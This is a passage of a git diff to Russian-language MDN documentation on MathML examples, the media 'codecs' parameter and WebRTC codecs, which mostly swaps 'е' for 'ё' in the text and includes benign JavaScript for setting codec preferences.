</mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mo>=</mo> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Это основная формула.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi> b</mi> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace> <mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> </mtable></math></p> diff --git a/files/ru/web/mathml/examples/index.html b/files/ru/web/mathml/examples/index.html index da9fd7af37..021f28be4b 100644 --- a/files/ru/web/mathml/examples/index.html +++ b/files/ru/web/mathml/examples/index.html @@ -9,7 +9,7 @@ tags: translation_of: Web/MathML/Examples original_slug: Web/MathML/Примеры --- -<p><span class="translation-chunk">Ниже Вы найдете некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.</span></p> +<p><span class="translation-chunk">Ниже Вы найдёте некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.</span></p> <dl> <dt><a href="/ru-RU/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem">Теорема Пифагора</a></dt> diff --git a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html index d3a140ec77..ee163d6e66 100644 --- a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html +++ b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html @@ -21,7 +21,7 @@ original_slug: Web/MathML/Примеры/MathML_Pythagorean_Theorem <p>То есть, если <math><semantics><mi>a</mi><annotation encoding="TeX">a</annotation></semantics></math> и <math><semantics><mi>b</mi><annotation encoding="TeX">b</annotation></semantics></math> - катеты, а <math><semantics><mi>c</mi><annotation encoding="TeX">c</annotation></semantics></math> - гипотенуза, то <math><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup></mrow><annotation encoding="TeX">a^2 + b^2 = c^2</annotation></semantics></math>.</p> -<p><strong><u>Доказательство:</u></strong> Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырех треугольников:</p> +<p><strong><u>Доказательство:</u></strong> Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырёх треугольников:</p> <p><math><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup><mo>+</mo><mn>4</mn><mo>⋅</mo><mrow><mo>(</mo><mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>⋅</mo><mi>a</mi><mi>b</mi></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">(a + b)^2 = c^2 + 4 \cdot \left( \frac{1}{2} \cdot ab \right) </annotation></semantics></math></p> diff --git a/files/ru/web/media/formats/codecs_parameter/index.html b/files/ru/web/media/formats/codecs_parameter/index.html index 284e64c550..4609de3553 100644 --- a/files/ru/web/media/formats/codecs_parameter/index.html +++ b/files/ru/web/media/formats/codecs_parameter/index.html @@ -1,5 +1,5 @@ --- -title: Параметр "codecs" для распространенных типов носителей +title: Параметр "codecs" для распространённых типов носителей slug: Web/Media/Formats/codecs_parameter translation_of: Web/Media/Formats/codecs_parameter --- @@ -15,7 +15,7 @@ translation_of: Web/Media/Formats/codecs_parameter <h2 id="Общий_синтаксис">Общий синтаксис</h2> -<p>Основной медиатип определяется установкой строкового значения (<code>audio</code>, <code>video</code>, и т.д.), после которого идет символ слеша (<code>/</code>), затем указывается формат контейнера, который будет содержать информацию:</p> +<p>Основной медиатип определяется установкой строкового значения (<code>audio</code>, <code>video</code>, и т.д.), после которого идёт символ слеша (<code>/</code>), затем указывается формат контейнера, который будет содержать информацию:</p> <dl> <dt><code>audio/mpeg</code></dt> @@ -41,7 +41,7 @@ translation_of: Web/Media/Formats/codecs_parameter <dd>Файл <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> , содержащий <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a> (H.264) видео, Основной профиль, Уровень 4.2.</dd> </dl> -<p>Как и в случае с любым параметром MIME типа , <code>codecs</code> должен заменяться на <code>codecs*</code> (обратите внимание на символ звездочки, <code>*</code>) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.</p> +<p>Как и в случае с любым параметром MIME типа , <code>codecs</code> должен заменяться на <code>codecs*</code> (обратите внимание на символ звёздочки, <code>*</code>) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.</p> <div class="blockIndicator note"> <p> Когда используется параметр <code>codecs</code>, указанный список кодеков должен включать каждый кодек, используемый для содержимого файла Список также может содержать кодеки, которых нет в файле.</p> diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html index b7c15b90d1..b8fab2ec49 100644 --- a/files/ru/web/media/formats/webrtc_codecs/index.html +++ b/files/ru/web/media/formats/webrtc_codecs/index.html @@ -14,7 +14,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>WebRTC использует объект типа {{domxref("MediaStreamTrack")}} для представления каждого трека, передающегося между узлами соединения без использования контейнера или объекта типа {{domxref("MediaStream")}} , объединяющего треки. Какие кодеки могут быть в этих треках, спецификацией WebRTC не определяется. Однако, {{RFC(7742)}} определяет, что все браузеры, поддерживающие WebRTC, должны поддерживать <a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a> и <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">H.264</a> ограниченный базовый профиль для видео; и {{RFC(7874)}} , определяющая, что браузеры должны поддерживать, по меньшей мере, кодеки <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a> и <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#G.711">G.711</a> форматов PCMA и PCMU.</p> -<p>Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определенные функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.</p> +<p>Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определённые функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.</p> <p>Хоть сжатие всегда и необходимо при работе со средствами массовой информации в Интернете, оно имеет дополнительное значение при проведении видеоконференций, чтобы участники могли общаться без задержек и перерывов. Второстепенное значение имеет необходимость синхронизации видео и звука, чтобы движения и любая вспомогательная информация (например, слайды или проекция) были представлены одновременно с соответствующим звуком</p> @@ -24,7 +24,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>Если {{Glossary ("SDP")}} специально не указывает иное, веб-браузер, принимающий видеопоток WebRTC, должен иметь возможность обрабатывать видео со скоростью не менее 20 кадров в секунду при минимальном разрешении 320 пикселей в ширину и 240 пикселей в высоту. Рекомендуется, чтобы видео кодировалось с частотой кадров и размером не ниже этого, поскольку это, по сути, нижняя граница того, что WebRTC обычно должен обрабатывать.</p> -<p>SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путем отправки <code>a=imageattr</code> атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определенные кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.</p> +<p>SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путём отправки <code>a=imageattr</code> атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определённые кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.</p> <h2 id="Поддерживаемые_видео_кодеки">Поддерживаемые видео кодеки</h2> @@ -103,11 +103,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>Поддержка профиля AVC Constrained Baseline (<code>CB</code>) требуется во всех полностью совместимых реализациях WebRTC. <code>CB</code> является подмножеством основного профиля и специально разработан для приложений с низкой сложностью и малой задержкой, таких как мобильное видео и видеоконференции, а также для платформ с более низкими возможностями обработки видео..</p> -<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">обзор AVC</a> и его функциональности найдете в основном руководстве по видеокодекам.</p> +<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">обзор AVC</a> и его функциональности найдёте в основном руководстве по видеокодекам.</p> <h4 id="Требования_поддержки_специальных_параметров">Требования поддержки специальных параметров</h4> -<p>AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надежность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определенные параметры определенным образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определенный набор значений. А иногда требования более сложны.</p> +<p>AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надёжность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определённые параметры определённым образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определённый набор значений. А иногда требования более сложны.</p> <h5 id="Полезные_но_необязательные_параметры">Полезные, но необязательные параметры</h5> @@ -115,9 +115,9 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <dl> <dt><code>max-br</code></dt> - <dd>Если параметр определен и поддерживается , он определяет максимальную скорость передачи видеоданных в единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на <a href="https://tools.ietf.org/html/rfc6184#page-47">странице 47 спецификации RFC 6184</a>.</dd> + <dd>Если параметр определён и поддерживается , он определяет максимальную скорость передачи видеоданных в единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на <a href="https://tools.ietf.org/html/rfc6184#page-47">странице 47 спецификации RFC 6184</a>.</dd> <dt><code>max-cpb</code></dt> - <dd>Если параметр определен и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложненный параметр, размер которого может варьироваться. Смотрим на <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу 45 спецификации RFC 6184</a> о подробностях.</dd> + <dd>Если параметр определён и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложнённый параметр, размер которого может варьироваться. Смотрим на <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу 45 спецификации RFC 6184</a> о подробностях.</dd> <dt><code>max-dpb</code></dt> <dd>Определяет максимальный размер буфера декодированных данных, выраженных в единицах 8/3 макроблоков. Подробности в спецификации <a href="https://tools.ietf.org/html/rfc6184#page-46">RFC 6184, страница 46</a>.</dd> <dt><code>max-fs</code></dt> @@ -128,7 +128,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <dd>Определяет максимальную скорость обработки статических макроблоков в секунду (используя гипотетическое предположение, что все макроблоки являются статическими макроблоками).</dd> </dl> -<h5 id="Параметры_с_определенными_требованиями">Параметры с определенными требованиями</h5> +<h5 id="Параметры_с_определёнными_требованиями">Параметры с определёнными требованиями</h5> <p>Эти параметры являются необязательными, но имеют специальные требования при их использовании.</p> @@ -229,7 +229,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p><a id="other-audio-foot-2" name="other-audio-foot-2">[2]</a> The <strong>{{interwiki("wikipedia", "Internet Speech Audio Codec")}}</strong> (<strong>iSAC</strong>) - другой кодек, разработанный Global IP Solutions, теперь принадлежащий Google, открывший его код. Используется Google Talk, QQ, и другими клиентами быстрых сообщений, специально спроектированный для голосовых сообщений, упакованных в поток RTP. Пока не является обязательной поддерживаемым кодеком. Поддерживается Safari и Chrome. Не поддерживается Firefox и Edge.</p> -<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определенное заполнение в беззвучных промежутках.</p> +<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определённое заполнение в беззвучных промежутках.</p> <p>Комфортный шум используется с G.711 и может потенциально использоваться с другими кодеками, которые не имеют встроенной функции CN. Кодек Opus, к примеру, имеет собственную реализацию CN, поэтому использование RFC 3389 CN с кодеком Opus не рекомендуется.</p> @@ -237,11 +237,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <h3 id="Кодек_Opus">Кодек Opus</h3> -<p>Формат Opus, определенный в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">соответствующей секции</a> нашего <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по аудиокодекам, использующимся в web</a>.</p> +<p>Формат Opus, определённый в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">соответствующей секции</a> нашего <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по аудиокодекам, использующимся в web</a>.</p> <p>Должны поддерживаться оба режима : речь и обычное аудио. Масштабируемость и гибкость Opus полезна при работе с аудио, имеющим различную степень сложности. Поддержка внутриполосных стереосигналов позволяет поддерживать стереозвук без усложнения процесса демультиплексирования.</p> -<p>Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причем скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..</p> +<p>Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причём скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..</p> <h4 id="Рекомендации_по_скорости_передачи_данных_bit_rate">Рекомендации по скорости передачи данных (bit rate)</h4> @@ -282,7 +282,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <h3 id="Кодек_G.711">Кодек G.711</h3> -<p>G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что дает скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.</p> +<p>G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что даёт скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.</p> <p>G.711 <a href="https://www.itu.int/rec/T-REC-G.711-198811-I/en">определяется ITU</a> , а его формат нагрузки в {{RFC(3551, "4.5.14")}}.</p> @@ -323,11 +323,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <p>Обработчик события <code>icegatheringstatechange</code> установлен; в нем мы отслеживаем тип события <code>complete</code> завершения сборки кандидатов ICE, указывающее что сборка кандидатов завершена. Метод {{domxref("RTCPeerConnection.getSenders()")}} вызывается для получения списка всех объектов {{domxref("RTCRtpSender")}} , использующихся в соединении.</p> -<p>Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своем свойстве {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение <code>video</code>, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную <code>codecList</code>.</p> +<p>Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своём свойстве {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение <code>video</code>, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную <code>codecList</code>.</p> <p>Если видеотрек не найден, устанавливаем <code>codecList</code> в <code>null</code>.</p> -<p>При возврате, <code>codecList </code>либо <code>null</code> , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешенную конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.</p> +<p>При возврате, <code>codecList </code>либо <code>null</code> , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешённую конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.</p> <div class="blockIndicator note"> <p><strong>Примечание :</strong> Два метода получения списков кодеков, показанные здесь, используют разные типы вывода в своих списках кодеков. Помните об этом при использовании результатов</p> @@ -356,17 +356,17 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { } </pre> -<p>В этом примере функция <code>changeVideoCodec()</code> принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приемо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.</p> +<p>В этом примере функция <code>changeVideoCodec()</code> принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приёмо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.</p> -<p>Затем, для каждого приемо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения <code>video</code>, используя статический метод <code>getCapabilities()</code> обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.</p> +<p>Затем, для каждого приёмо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения <code>video</code>, используя статический метод <code>getCapabilities()</code> обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.</p> <p>Если тип медиаданных является типом <code>video</code>, вызываем метод <code>preferCodec()</code> для обоих взаимодействующих сторон списков кодеков, который реорганизует список кодеков необходимым образом (смотри ниже).</p> <p>И наконец, вызываем метод {{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}} объекта {{domxref("RTCRtpTransceiver")}} для определения того, что использование кодеков обеих сторон разрешено, в указанном порядке.</p> -<p>Это выполняется для каждого объекта приемо-передатчика объекта соединения <code>RTCPeerConnection</code>; как только все приемо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создает новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удаленному узлу, и так далее, запуская согласование соединения .</p> +<p>Это выполняется для каждого объекта приёмо-передатчика объекта соединения <code>RTCPeerConnection</code>; как только все приёмо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создаёт новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удалённому узлу, и так далее, запуская согласование соединения .</p> -<p>Функция <code>preferCodec()</code> вызываемая приведенным выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p> +<p>Функция <code>preferCodec()</code> вызываемая приведённым выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p> <pre class="brush: js notranslate">function preferCodec(codecs, mimeType) { let otherCodecs = []; @@ -384,11 +384,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { return sortedCodecs.concat(otherCodecs); }</pre> -<p>Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей MIME тип совпадает с тем, который указан в параметре <code>mimeType</code> , другой же содержит остальные кодеки. Как только список разделен, они объединяются вместе с записями, соответствующими заданному <code>mimeType</code> следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.</p> +<p>Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей MIME тип совпадает с тем, который указан в параметре <code>mimeType</code> , другой же содержит остальные кодеки. Как только список разделён, они объединяются вместе с записями, соответствующими заданному <code>mimeType</code> следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.</p> <h2 id="Кодеки_по_умолчанию">Кодеки по умолчанию</h2> -<p>Если не определенно иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями WebRTC, перечислены ниже</p> +<p>Если не определённо иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями WebRTC, перечислены ниже</p> <table class="standard-table"> <caption> @@ -433,13 +433,13 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <h2 id="Правильный_выбор_кодеков">Правильный выбор кодеков</h2> -<p>Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и Opus или PCM для аудио), следует серьезно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.</p> +<p>Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и Opus или PCM для аудио), следует серьёзно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.</p> <p>Если вы предпочитаете кодек, отличный от обязательных, вы должны по крайней мере разрешить откат к одному из обязательных кодеков, если поддержка для кодека, который вы предпочитаете, окажется недоступна.</p> <h3 id="Аудио">Аудио</h3> -<p>В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стесненной среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своем узкополосном режиме .</p> +<p>В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стеснённой среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своём узкополосном режиме .</p> <h3 id="Видео">Видео</h3> @@ -447,7 +447,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <h4 id="Условия_лицензирования">Условия лицензирования</h4> -<p>Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководстве по видеокодекам, используемым в web</a>. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придется заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.</p> +<p>Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководстве по видеокодекам, используемым в web</a>. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придётся заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.</p> <div class="blockIndicator warning"> <p><strong>Внимание :</strong> Информация здесь не является юридической консультацией! Обязательно убедитесь в возможности ответственности, прежде чем принимать какие-либо окончательные решения, если существует вероятность возникновения проблем с лицензированием.</p> @@ -455,19 +455,19 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <h4 id="Энергопотребление_и_срок_службы_батареи">Энергопотребление и срок службы батареи</h4> -<p>Еще один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.</p> +<p>Ещё один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.</p> <p>Например, Safari для iOS и iPadOS представила WebRTC с AVC в качестве единственного поддерживаемого видеокодека. Преимущество AVC на iOS и iPadOS заключается в возможности кодирования и декодирования на аппаратном уровне.Safari 12.1 представил поддержку VP8 в IRC, что улучшает взаимодействие, но за дополнительную плату - VP8 не имеет аппаратной поддержки на устройствах iOS, поэтому его использование приводит к увеличению нагрузки на процессор и сокращению срока службы батареи.</p> <h4 id="Производительность">Производительность</h4> -<p>К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в 